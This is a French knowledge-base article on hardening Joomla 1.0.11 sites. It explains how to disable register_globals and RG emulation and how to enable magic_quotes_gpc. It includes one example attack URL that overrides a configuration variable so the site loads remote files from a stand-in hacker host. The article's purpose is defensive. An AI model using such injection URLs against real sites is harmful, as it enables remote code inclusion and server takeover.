Accueil
Comment réagir aux avertissements de sécurité depuis Joomla 1.0.11 Convertir en PDF Version imprimable Suggérer par mail
Base de connaissances - Questions diverses

Dans Joomla! 1.0.11, nous trouvons trois avertissements de sécurité destinés à renforcer la sécurité de vos sites.

Ces précisions font suite au précédent article à ce sujet. Voici quelques explications quant à la fonction de ces réglages.

Register Globals (register_globals=Off)

Ca fait quoi?

Cette fonction récupère toutes les valeurs passées au script et les insère dans des variables utilisables par le script. Utile pour les dévelopeurs un peu négligents.
Cela signifie que l'URL

index.php?foo=bar


va créer automatiquement dans le script index.php une variable $foo contenant la valeur "bar".

Et alors?

Le problème avec cette fonction, c'est qu'elle n'examine pas la valeur avant de créer la variable pour d'éventuels paramètres nocifs. Si on l'utilise par exemple pour remplacer le chemin utilisé par Joomla! pour l'inclusion de fichiers, on pourra tout simplement faire:

index.php?mos_config_livesite=http://jevais.tehacker.com


A partir de là, index.php de votre site essaiera d'inclure ses fichiers depuis le site du hackeur, qui pourra ainsi vous envoyer ce qu'il veut, et pénétrer votre serveur!

La fonction n'est pas mauvaise ou nocive en elle-même. Si vous vérifiez la valeur de chaque variable avant de l'utiliser, et filtrez les indésirables, elle peut même être utile pour un dévelopement rapide. Le problème, c'est que beaucoup de dévelopeurs d'extensions n'en prennnet pas la peine, et n'utilisent pas non plus la fonction native mosGetParam() qui s'occupe du filtrage. Si tous les dev's utilisaient cette mosGetParam(), il n'y aurait plus de problèmes avec register_globals (le filtrage s'effectuant de manière automatique et transparente!).

Comment désactiver register_globals?

Vous avez plusieures possiblités, selon vos accès. La première, au niveau serveur, est la plus sure, il semblerait que si ce réglage n'est pas effectué au niveau serveur, sur un hébergement mutualisé (plusieurs sites sur un même serveur), cela ne serve pas à grand chose!

  1. Si vous avez accès à la configuration Apache/PHP du serveur lui-même, vous règlez simplement
    register_globals=Off
    dans la configuration.

  2. Le fichier .htaccess
    Sur la plupart des serveurs, vous pouvez configurer Apache avec ce fichier, qui se trouve à la racine du site. Ces fichiers ne sont pas accessibles via le navigateur / le web. Ils ne peuvent pas être crées sur un PC Windows (cause: extension manquante), on procèdera par FTP sur le serveur directement, en renommant et ou éditant un fichier htaccess.txt déjà inclus lors de l'installation de Joomla!
    Ce fichier devra être édité pour rajouter la ligne
    php_flag register_globals off
    qui désactivera register_globals pour tout votre site et ses sous dossiers.

  3. php.ini
    Si la méthode du fichier .htaccess ne marche pas ou ne peut être utilisée, vous pouvez essayer d'utiliser un fichier .ini, qui est quasiment identique sauf que le code à utiliser sera:
    register_globals = off
    et que ce fichier doit être copié DANS CHAQUE DOSSIER de votre installation Joomla! (oui, même les sous-dossiers, comme pour les images ou autres!).


Si aucune de ces recommandations ne marche pour vous, demandez à votre hébergeur de désactiver ce réglage, dont les problèmes sont connus depuis quelques années. S'il refuse, changez d'hébergeur!


Magic Quotes (magic_quotes_gpc=On)

Ce paramètre doit être activé - réglé sur On!

Ca fait quoi?

Cette fonction s'assure que toutes les données que vos scripts passent pour sauvegarde à la base de données soient "escaped" d'abord, ce qui empêchera un hack du site à travers des données sauvegardées sans filtrage.

Comment faire?

Quasiment la même procédure:

  • activer au niveau système (serveur)
  • .htaccess (racine du site):
    php_flag magic_quotes_gpc on
  • php.ini (à la racine ET dans chaque dossier):
    magic_quotes_gpc = on

Emulation RG

Ca fait quoi?

C'est une émulation de la fonction register_globals. Cette émulation prévient déjà une bonne partie des risques de sécurité liés à register_globals, tout en assurant la fonctionalité de certaines extensions un peu mal codées se basant sur register_globals. Malheureusement, certaines failles subsistent, et cette fonction est donc également à désactiver.

Comment faire?

A la racine de votre site Joomla! se trouve le fichier globals.php qu'il vous faut éditer (soit en copie locale, puis écraser le fichier existant, soit directement en ligne par FTP si votre client (logiciel, tel que Cute FTP) le permet.
Recherchez la ligne

define( 'RG_EMULATION', 1 );

et changez la valeur à 0 (zéro) pour désactiver:

define( 'RG_EMULATION', 0 );

Sachez cependant que bon nombre d'extensions ne fonctionneront plus sans mise à jour du code. Vous en trouverez une liste ici .

Mon site est-il sécurisé maintenant?

Non, simplement. Il y a plusieures autres méthodes par lesquelles un hackeur peut accéder à votre site. Ces trois réglages colmateront les ttrois failles majeures au niveau serveur. La sécurité ne pourra jamais être totale, mais au moins vous rendrez la tache le plus difficile possible aux hackeurs potentiels.
Utilisez toujours la dernière mise à jour de Joomla! et de vos extensions, restez informé en vous abonnant aux annonces officielles et consultez régulièrement le forum dédié à la sécurité.

 (d'après un message de Hackwar sur le forum officiel, merci à lui pour ces précisions!)

Petite lecture sur le fichier .htaccess, merci à Commentçamarche ;) 

 
< Précédent   Suivant >